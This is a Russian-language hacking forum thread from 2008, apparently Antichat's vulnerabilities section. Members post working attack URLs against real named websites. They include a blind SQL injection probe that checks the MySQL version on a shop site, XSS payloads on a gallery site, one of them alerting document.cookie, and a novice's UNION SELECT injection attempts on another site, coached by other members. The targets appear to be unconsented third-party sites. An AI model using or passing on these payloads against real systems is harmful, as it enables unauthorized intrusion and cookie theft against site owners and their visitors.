HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1281  
Старый 20.03.2008, 22:20
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами: 10516826

Репутация: 3742


По умолчанию

http://viscali.com/shop/main_bigware_53.php?op=results&pollid=1+and+substr ing(version(),1,1)=3

мускул третий, нет юниона
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #1282  
Старый 20.03.2008, 22:42
samarin
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
С нами: 9584577

Репутация: 69
По умолчанию

Только учусь!
-----------------------
Подскажите, на что это я наткнулся и как это можно использовать?
Цитата:
http://tangocamp.org.ua/gallery?photo=2
http://tangocamp.org.ua/gallery?photo=2-1(или вообще любой текст)
вывод в номерах фоток
Я такого еще не встречал, подскажите.
 
Ответить с цитированием

  #1283  
Старый 20.03.2008, 23:05
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
С нами: 9920546

Репутация: 1796
По умолчанию

Вот прошу)
Код:
http://tangocamp.org.ua/gallery?photo=%3Cscript%3Ewhile(1)alert()%3C/script%3E
можно это XSS, читай маны
__________________
Кто я?..
 
Ответить с цитированием

  #1284  
Старый 20.03.2008, 23:10
_3lf
Новичок
Регистрация: 17.03.2008
Сообщений: 4
С нами: 9553973

Репутация: 19
По умолчанию

Цитата:
Сообщение от blackybr  
http://viscali.com/shop/main_bigware_53.php?op=results&pollid=1+and+substr ing(version(),1,1)=3
мускул третий, нет юниона
Спс, вкурил
 
Ответить с цитированием

  #1285  
Старый 20.03.2008, 23:10
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
С нами: 10077446

Репутация: 3965


По умолчанию

http://tangocamp.org.ua/gallery?photo=%22%3Cscript%3Ealert(document.cookie )%3C/script%3E
так проще
 
Ответить с цитированием

  #1286  
Старый 20.03.2008, 23:16
samarin
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
С нами: 9584577

Репутация: 69
По умолчанию

Спасибо! xss я видел, но подумал, что это еще одна ошибка и к той не имеет отношения. Я ж говорю, что не встречал еще такого, чтоб просто менялся текст без вывода какой либо ошибки
 
Ответить с цитированием

  #1287  
Старый 21.03.2008, 00:01
bag
Участник форума
Регистрация: 06.03.2008
Сообщений: 105
С нами: 9568860

Репутация: 146
По умолчанию

нашел sql inc не могу пробить
помогите
http://www.fevralka.ru/index.php?area=1&p=gallery&action=showimages&galid =999999
уже все испробовал
 
Ответить с цитированием

  #1288  
Старый 21.03.2008, 00:06
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами: 10516826

Репутация: 3742


По умолчанию

bag врать нехорошо. читай маны и пробуй, там все самое элементарное.
сам не попробуешь - подсказок не будет)
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #1289  
Старый 21.03.2008, 00:15
bag
Участник форума
Регистрация: 06.03.2008
Сообщений: 105
С нами: 9568860

Репутация: 146
По умолчанию

ок,пробовал
http://www.fevralka.ru/index.php?area=1&p=gallery&action=showimages&galid =1+group+by+1/* загрузилась
пробую
http://www.fevralka.ru/index.php?area=1&p=gallery&action=showimages&galid =1+union+select+1/*
The used SELECT statements have a different number of columns
 
Ответить с цитированием

  #1290  
Старый 21.03.2008, 00:17
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами: 10516826

Репутация: 3742


По умолчанию

только эти два запроса? чтоже ты хотел ими сделать?
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.